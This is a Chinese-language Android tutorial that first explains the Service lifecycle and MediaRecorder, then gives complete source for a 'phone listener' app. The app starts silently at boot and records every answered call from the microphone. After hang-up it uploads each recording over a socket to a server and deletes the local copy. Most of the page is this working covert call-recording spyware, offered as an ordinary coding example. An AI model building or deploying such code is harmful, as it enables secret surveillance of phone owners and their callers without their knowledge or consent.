Android之Service實(shí)例電話監(jiān)聽(tīng)器
***步：繼承Service類(lèi)
- public class SMSService extends Service { }
第二步：在AndroidManifest.xml文件中的<application>節(jié)點(diǎn)里對(duì)服務(wù)進(jìn)行配置:
- <service android:name=".SMSService" />
服務(wù)不能自己運(yùn)行，需要通過(guò)調(diào)用Context.startService()或Context.bindService()方法啟動(dòng)服務(wù)。這兩個(gè)方法都可以啟動(dòng)Service，但是它們的使用場(chǎng)合有所不同。使用startService()方法啟用服務(wù)，調(diào)用者與服務(wù)之間沒(méi)有關(guān)連，即使調(diào)用者退出了，服務(wù)仍然運(yùn)行。使用bindService()方法啟用服務(wù)，調(diào)用者與服務(wù)綁定在了一起，調(diào)用者一旦退出，服務(wù)也就終止，大有“不求同時(shí)生，必須同時(shí)死”的特點(diǎn)。
如果打算采用Context.startService()方法啟動(dòng)服務(wù)，在服務(wù)未被創(chuàng)建時(shí)，系統(tǒng)會(huì)先調(diào)用服務(wù)的onCreate()方法，接著調(diào)用onStart()方法。如果調(diào)用startService()方法前服務(wù)已經(jīng)被創(chuàng)建，多次調(diào)用startService()方法并不會(huì)導(dǎo)致多次創(chuàng)建服務(wù)，但會(huì)導(dǎo)致多次調(diào)用onStart()方法。采用startService()方法啟動(dòng)的服務(wù)，只能調(diào)用Context.stopService()方法結(jié)束服務(wù)，服務(wù)結(jié)束時(shí)會(huì)調(diào)用onDestroy()方法。
如果打算采用Context.bindService()方法啟動(dòng)服務(wù)，在服務(wù)未被創(chuàng)建時(shí)，系統(tǒng)會(huì)先調(diào)用服務(wù)的onCreate()方法，接著調(diào)用onBind()方法。這個(gè)時(shí)候調(diào)用者和服務(wù)綁定在一起，調(diào)用者退出了，系統(tǒng)就會(huì)先調(diào)用服務(wù)的onUnbind()方法，接著調(diào)用onDestroy()方法。如果調(diào)用bindService()方法前服務(wù)已經(jīng)被綁定，多次調(diào)用bindService()方法并不會(huì)導(dǎo)致多次創(chuàng)建服務(wù)及綁定(也就是說(shuō)onCreate()和onBind()方法并不會(huì)被多次調(diào)用)。如果調(diào)用者希望與正在綁定的服務(wù)解除綁定，可以調(diào)用unbindService()方法，調(diào)用該方法也會(huì)導(dǎo)致系統(tǒng)調(diào)用服務(wù)的onUnbind()-->onDestroy()方法。
服務(wù)常用生命周期回調(diào)方法如下：
onCreate() 該方法在服務(wù)被創(chuàng)建時(shí)調(diào)用，該方法只會(huì)被調(diào)用一次，無(wú)論調(diào)用多少次startService()或bindService()方法，服務(wù)也只被創(chuàng)建一次。
onDestroy()該方法在服務(wù)被終止時(shí)調(diào)用。
與采用Context.startService()方法啟動(dòng)服務(wù)有關(guān)的生命周期方法
onStart() 只有采用Context.startService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在服務(wù)開(kāi)始運(yùn)行時(shí)被調(diào)用。多次調(diào)用startService()方法盡管不會(huì)多次創(chuàng)建服務(wù)，但onStart() 方法會(huì)被多次調(diào)用。
與采用Context.bindService()方法啟動(dòng)服務(wù)有關(guān)的生命周期方法
onBind()只有采用Context.bindService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在調(diào)用者與服務(wù)綁定時(shí)被調(diào)用，當(dāng)調(diào)用者與服務(wù)已經(jīng)綁定，多次調(diào)用Context.bindService()方法并不會(huì)導(dǎo)致該方法被多次調(diào)用。
onUnbind()只有采用Context.bindService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在調(diào)用者與服務(wù)解除綁定時(shí)被調(diào)用。
你可以使用手機(jī)進(jìn)行現(xiàn)場(chǎng)錄音，實(shí)現(xiàn)步驟如下：
***步：在功能清單文件AndroidManifest.xml中添加音頻刻錄權(quán)限：
- <uses-permission android:name="android.permission.RECORD_AUDIO"/>
第二步：編寫(xiě)音頻刻錄代碼:
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式
recorder.setOutputFile("/sdcard/itcast.amr");
recorder.prepare();//預(yù)期準(zhǔn)備
recorder.start(); //開(kāi)始刻錄
...
recorder.stop();//停止刻錄
recorder.reset(); //重設(shè)
recorder.release(); //刻錄完成一定要釋放資源
#p#
AndroidManifest.xml
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.tjp.phonelistiner"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-sdk android:minSdkVersion="7" />
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <service android:name=".PhoneListinerService"/>
- <receiver android:name=".BootBroadcastReceiver">
- <intent-filter>
- <!-- 開(kāi)機(jī)廣播 -->
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
- </application>
- <!-- 訪問(wèn)網(wǎng)絡(luò)的權(quán)限 -->
- <uses-permission android:name="android.permission.INTERNET"/>
- <!-- 電話狀態(tài)監(jiān)聽(tīng)權(quán)限 -->
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <!-- 開(kāi)機(jī)廣播權(quán)限 -->
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
- <!-- 音頻刻錄權(quán)限 -->
- <uses-permission android:name="android.permission.RECORD_AUDIO"/>
- </manifest>
StreamTool
- package com.tjp.util;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.PushbackInputStream;
- public class StreamTool {
- public static void save(File file, byte[] data) throws Exception {
- FileOutputStream outStream = new FileOutputStream(file);
- outStream.write(data);
- outStream.close();
- }
- public static String readLine(PushbackInputStream in) throws IOException {
- char buf[] = new char[128];
- int room = buf.length;
- int offset = 0;
- int c;loop:
- while (true) {
- switch (c = in.read()) {
- case -1:
- case '\n':
- break loop;
- case '\r':
- int c2 = in.read();
- if ((c2 != '\n') && (c2 != -1)) in.unread(c2);
- break loop;
- default:
- if (--room < 0) {
- char[] lineBuffer = buf;
- buf = new char[offset + 128];
- room = buf.length - offset - 1;
- System.arraycopy(lineBuffer, 0, buf, 0, offset);
- }
- buf[offset++] = (char) c;
- break;
- }
- }
- if ((c == -1) && (offset == 0)) return null;
- return String.copyValueOf(buf, 0, offset);
- }
- /**
- * 讀取流
- * @param inStream
- * @return 字節(jié)數(shù)組
- * @throws Exception
- */
- public static byte[] readStream(InputStream inStream) throws Exception{
- ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
- byte[] buffer = new byte[1024];
- int len = -1;
- while( (len=inStream.read(buffer)) != -1){
- outSteam.write(buffer, 0, len);
- }
- outSteam.close();
- inStream.close();
- return outSteam.toByteArray();
- }
- }
#p#
PhoneListinerService
- package com.tjp.phonelistiner;
- import java.io.File;
- import java.io.OutputStream;
- import java.io.PushbackInputStream;
- import java.io.RandomAccessFile;
- import java.net.Socket;
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.media.MediaRecorder;
- import android.os.IBinder;
- import android.telephony.PhoneStateListener;
- import android.telephony.TelephonyManager;
- import android.util.Log;
- import com.tjp.util.StreamTool;
- public class PhoneListinerService extends Service {
- private final String TAG="PhoneListinerService";
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- @Override
- public void onCreate() {
- TelephonyManager telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//獲得電話服務(wù)
- telephonyManager.listen(new TeleListine(), PhoneStateListener.LISTEN_CALL_STATE);//對(duì)來(lái)電狀態(tài)進(jìn)行監(jiān)聽(tīng)
- Log.i(TAG, "onCreate");
- super.onCreate();
- }
- private class TeleListine extends PhoneStateListener{
- private String mobile;//來(lái)電號(hào)碼
- private MediaRecorder recorder;//多媒體刻錄文件
- private File autoFile;//保存文件
- private boolean recoder;//是否刻錄
- @Override
- public void onCallStateChanged(int state, String incomingNumber) {
- try {
- switch (state) {
- case TelephonyManager.CALL_STATE_IDLE://無(wú)任何狀態(tài)時(shí)--掛斷電話時(shí)
- if(recoder){
- recorder.stop();//停止刻錄
- recorder.release();//釋放刻錄
- recoder=false;
- new Thread(new UploadTask()).start();
- Log.i(TAG, "開(kāi)始上傳");
- }
- break;
- case TelephonyManager.CALL_STATE_OFFHOOK://接起電話時(shí)
- recorder = new MediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式
- autoFile=new File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//輸出到緩存
- recorder.setOutputFile(autoFile.getAbsolutePath());//輸出的位置
- recorder.prepare();//預(yù)期準(zhǔn)備
- recorder.start(); //開(kāi)始刻錄
- recoder=true;
- Log.i(TAG, "接起電話");
- break;
- case TelephonyManager.CALL_STATE_RINGING://電話進(jìn)來(lái)時(shí)
- mobile=incomingNumber;
- Log.i(TAG, "mobile="+mobile);
- break;
- default:
- break;
- }
- } catch (Exception e) {
- Log.i(TAG,e.toString());
- e.printStackTrace();
- }
- super.onCallStateChanged(state, incomingNumber);
- }
- private final class UploadTask implements Runnable{
- @Override
- public void run() {
- try {
- //Socket socket = new Socket("127.0.0.1", 7878);
- Socket socket = new Socket("127.0.0.1", 7878);
- OutputStream outStream = socket.getOutputStream();
- String head = "Content-Length="+ autoFile.length() + ";filename="+ autoFile + ";
- sourceid=1278916111468\r\n";
- outStream.write(head.getBytes());
- PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
- String response = StreamTool.readLine(inStream);
- System.out.println(response);
- String[] items = response.split(";");
- String position = items[1].substring(items[1].indexOf("=")+1);
- RandomAccessFile fileOutStream = new RandomAccessFile(autoFile, "r");
- fileOutStream.seek(Integer.valueOf(position));
- byte[] buffer = new byte[1024];
- int len = -1;
- int i = 0;
- while( (len = fileOutStream.read(buffer)) != -1){
- outStream.write(buffer, 0, len);
- i++;
- //if(i==10) break;
- }
- fileOutStream.close();
- outStream.close();
- inStream.close();
- socket.close();
- autoFile.delete();//當(dāng)上傳完就刪除文件
- } catch (Exception e) {
- Log.i(TAG, "mobile="+mobile);
- e.printStackTrace();
- }
- }
- }
- }
- @Override
- public void onDestroy() {//清空緩存目錄下的所有文件
- File[] files= getCacheDir().listFiles();//得到緩存下所有文件
- if(files!=null){
- for(File file : files){
- file.delete();
- }
- }
- Log.i(TAG, "onDestroy");
- super.onDestroy();
- }
- }
BootBroadcastReceiver
- package com.tjp.phonelistiner;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- public class BootBroadcastReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- Intent service=new Intent(context,PhoneListinerService.class);//顯示意圖
- context.startService(service);
- }
- }
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